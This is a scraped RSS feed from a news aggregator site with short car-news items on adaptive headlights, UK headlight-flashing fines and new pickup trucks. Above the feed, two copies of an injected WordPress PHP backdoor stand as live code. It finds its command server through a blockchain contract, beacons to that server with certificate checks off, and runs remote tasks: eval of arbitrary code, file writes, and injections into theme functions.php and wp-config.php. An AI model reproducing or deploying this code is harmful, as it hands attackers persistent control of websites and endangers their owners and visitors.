// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); headlights – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 13 Oct 2018 02:17:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png headlights – Brief News https://briefnews.eu 32 32 Brighter, More Effective Headlights Now a Step Closer https://briefnews.eu/brighter-more-effective-headlights-now-a-step-closer/ https://briefnews.eu/brighter-more-effective-headlights-now-a-step-closer/#respond Sat, 13 Oct 2018 02:17:23 +0000 http://briefnews.eu/brighter-more-effective-headlights-now-a-step-closer/ The National Highway Traffic Safety Administration might soon grant automakers a long sought-after wish. On Thursday, the agency put forward a proposal to allow adaptive driving beam headlamps on U.S. passenger vehicles. ADB lights would solve two problems at once: insufficient roadway illumination, as well as headlight glare. Despite the existence of automatic high beams, […]

The post Brighter, More Effective Headlights Now a Step Closer appeared first on The Truth About Cars.

]]> https://briefnews.eu/brighter-more-effective-headlights-now-a-step-closer/feed/ 0 NHTSA OKs advanced headlights for use in U.S. https://briefnews.eu/nhtsa-oks-advanced-headlights-for-use-in-u-s/ https://briefnews.eu/nhtsa-oks-advanced-headlights-for-use-in-u-s/#respond Fri, 12 Oct 2018 05:04:44 +0000 http://briefnews.eu/nhtsa-oks-advanced-headlights-for-use-in-u-s/ [unable to retrieve full-text content]

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5-year process to get technology long used in Europe and Japan

Continue reading NHTSA OKs advanced headlights for use in U.S.

NHTSA OKs advanced headlights for use in U.S. originally appeared on Autoblog on Thu, 11 Oct 2018 18:14:00 EDT. Please see our terms for use of feeds.

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]]> https://briefnews.eu/nhtsa-oks-advanced-headlights-for-use-in-u-s/feed/ 0 UK driving law – How flashing your car’s headlights could land you £1,000 fine  https://briefnews.eu/uk-driving-law-how-flashing-your-cars-headlights-could-land-you-1000-fine/ https://briefnews.eu/uk-driving-law-how-flashing-your-cars-headlights-could-land-you-1000-fine/#respond Sat, 02 Jun 2018 08:29:33 +0000 http://briefnews.eu/uk-driving-law-how-flashing-your-cars-headlights-could-land-you-1000-fine/

A little known driving law involving car headlights could see drivers land a hefty fine. 

Motorists in the UK could be fiend up to £1,000 for using their headlights to inform other road used of speed trap set up by police. 

It may just be assumed that you’re doing a good deed warning other drivers of a speed camera or a speed trap and actually get them to slow down. 

However, you could face a punishment for doing so. 

The Highway Code outlines how motorists shouldn’t use their headlights. 

Rule 110 states: “Only flash your headlights to let other road users know that you are there.

“Do not flash your headlights to convey any other message or intimidate other road users.”

The Department of Transport claim that a breach of Rule 110 and 111, which outline the rules of motorists flashing their headlights, could stand up in a court of law as evidence. 

While alone that is not to see the motorist convicted, if drivers were using their headlights to warn a motorist of a speed trap then it could be breaching another road law. 

Section 89(2) of the Police Act 1996 outlines what can happen if motorists obstruct an officer. 

It says: “Any person who resists or wilfully obstructs a constable in the execution of his duty, or a person assisting a constable in the execution of his duty, shall be guilty of an offence and liable on summary conviction to imprisonment for a term not exceeding one month or to a fine not exceeding level 3 on the standard scale, or to both.”

It could be argued that a motorist warning other drivers of a speed trap could be ‘obstructing’ an officer.

There was a case in 2011 when driver Michael Thompson was pulled over by police in Lincolnshire after flashing serval oncoming cars to warn them about a speed gun. 

He was charged with wilfully obstructing a police officer in the course of her duties and found guilty. 

Mr Thompson was fined £175 and ordered to pay £250 costs and a £15 victim surcharge. 

Obstructing a police officer is capped at level three on the fine scale, with drivers able to receive a maximum penalty of £1,000. 

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]]> https://briefnews.eu/uk-driving-law-how-flashing-your-cars-headlights-could-land-you-1000-fine/feed/ 0 2019 GMC Sierra shows off new headlights in Los Angeles https://briefnews.eu/2019-gmc-sierra-shows-off-new-headlights-in-los-angeles/ https://briefnews.eu/2019-gmc-sierra-shows-off-new-headlights-in-los-angeles/#respond Mon, 22 Jan 2018 21:10:58 +0000 http://briefnews.eu/2019-gmc-sierra-shows-off-new-headlights-in-los-angeles/

Despite being just three weeks in to 2018, it’s not too early to dub this the year of the truck. At last week’s Detroit Auto Show, we saw the debuts of the 2019 Chevy Silverado, 2019 Ram 1500 and the return of the 2019 Ford Ranger. As with every new Silverado, a sister vehicle follows from GMC. Just take a look at these new spy shots of the 2019 GMC Sierra 1500.

These photos were taken out in Los Angeles, presumably for some warm weather testing outside of Michigan. At the Silverado’s debut, GM VP Mark Reuss said there would be a significant difference between the Silverado and Sierra with this new generation. The grille on the Sierra appears to be far more upright and retangular, contrasting the rounded look of the new Silverado. The headlights are larger and more upright. The same goes for the foglights. The profile and rear look fairly similar, though the fenders on the Sierra are more squared off.

While we don’t know what will rest under the Sierra’s hood, expect it to share powertrains with the Silverado. That would mean updated versions of the 5.3-liter V8 and 6.2-liter V8 would be joined by 3.0-liter inline-six diesel. Look for the new Sierra as soon as the Chicago Auto Show next month.

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]]> https://briefnews.eu/2019-gmc-sierra-shows-off-new-headlights-in-los-angeles/feed/ 0 Texas Instruments’ New Headlights Dazzle With a Million Pixels https://briefnews.eu/texas-instruments-new-headlights-dazzle-with-a-million-pixels/ https://briefnews.eu/texas-instruments-new-headlights-dazzle-with-a-million-pixels/#respond Mon, 15 Jan 2018 20:46:31 +0000 http://briefnews.eu/texas-instruments-new-headlights-dazzle-with-a-million-pixels/ Too bad federal regulations won’t allow the cool tech on American roads.


https://media.wired.com/photos/5a59047921e2e34351ef9ea0/master/pass/headlights-635716846.jpg

]]> https://briefnews.eu/texas-instruments-new-headlights-dazzle-with-a-million-pixels/feed/ 0 2019 Ram 1500 finally revealed | All new, from headlights to hybrid system https://briefnews.eu/2019-ram-1500-finally-revealed-all-new-from-headlights-to-hybrid-system/ https://briefnews.eu/2019-ram-1500-finally-revealed-all-new-from-headlights-to-hybrid-system/#respond Mon, 15 Jan 2018 06:09:14 +0000 http://briefnews.eu/2019-ram-1500-finally-revealed-all-new-from-headlights-to-hybrid-system/
Few categories are as hotly contested as the full-size truck segment. The passion from both automakers and loyal truck owners is fierce. See any number of Calvin window decals for example. Well, a new Ram 1500 is finally here, and it’s lighter, stronger and better equipped than ever before to take on the Ford F-150 and the Chevy Silverado. In addition to new styling and a hugely versatile interior, both the V6 and V8 Ram 1500 are available with a 48-volt mild-hybrid system.

Despite looking similar to the current Ram, this isn’t merely an update. The truck is all new inside and out, improving on what worked and fixing what was aging. Overall weight is down 225 pounds, with 120 of those coming from the chassis and frame. And 98 percent of the frame is made from high-strength steel, with aluminum making up a small amount in parts like the transmission crossmember and engine mounts. The Ram 1500 also gets an aluminum hood and tailgate.

The weight may be down, but the 2019 Ram 1500 is longer and wider than before. The bed height, too, has increased. Visually, it’s difficult to notice the increased size. The overall design is an evolution of what Ram has offered for decades. The most obvious change is the lack of a crosshair grille, a staple since 1994. The new “RAM” grille started as an option but now carries over to every single model. It’s not going to be popular with everyone, but we’re sure Mopar or some other parts supplier can fill your t-shaped void.

The drop fender that also debuted on the ’94 Ram has been lifted, giving the front a far more upright face. There are two different headlight designs, depending on the trim and options. The top-tier LED units are wide and slim, while the standard lighting looks similar to what we have now. The front bumper can be chrome or paint, while the chrome accents carry around to parts like the new 1500 badge on the hood. Tow hooks are lower and further apart than before, while the parking sensors have been better integrated into the design.

Like the headlights, the taillights are an evolution of the current shape. Both halogen and LED units are available. The full-width steel rear bumper can be had in either chrome or body color. As for paint, there are 12 colors in total, with three two-tone variants. If that’s not enough variety, there are 16 new (six-lug!) wheel designs to choose from, ranging from 18 to 22 inches.

Inside, the 2019 Ram 1500 is more refined and practical than ever before. The center console is truly massive. Ram claims it’s nearly 100 percent larger than the competitors. The optional 12-inch infotainment display is similarly massive. The screen would give Tesla a run for its money in terms of size and resolution and is essentially twice as tall as the existing screen. There are tons of little pockets and cubbies and cupholders throughout. The packaging inside is Honda levels of good.

There are five USB ports in the center console, four of which are both USB A and C. Three of the ports talk to the latest generation of FCA’s UConnect infotainment system.

When it hits showrooms later this year, the Ram 1500 can be had with one of two engines, both carryovers from the current model. The base 3.6-liter Pentastar V6 now comes standard with a 48-volt mild-hybrid system FCA has branded eTorque. This system is optional on the 5.7-liter Hemi V8. On the V6, the eTorque system adds up to 90 pound-feet of torque off the line. That number jumps to 130 pound-feet on the V8. Engine output for the V6 is 305 horsepower and 269 pound-feet of torque. The Hemi makes 395 horsepower and 410 pound-feet. Both engines use an eight-speed automatic.
The EcoDiesel will make a return sometime down the line and, while Ram won’t confirm anything, a turbocharged inline-four making its way under the hood is a strong possibility.

There are two Borg Warner transfer cases available for four-wheel-drive models. They give the truck either full-time or on-demand 4WD capabilities. There are three final drive ratios available — 3.21, 3.55 and 3.92. Each one is available with a limited-slip differential. Four-wheel-drive models with a 3.21 or a 3.55 rear axle have an available electronic locking diff. A Max Tow package is available on select two-wheel-drive models with a 3.92 rear end. This uses a Dana Super 60 center section, a 256-mm gearset and 35-spline axle shafts.

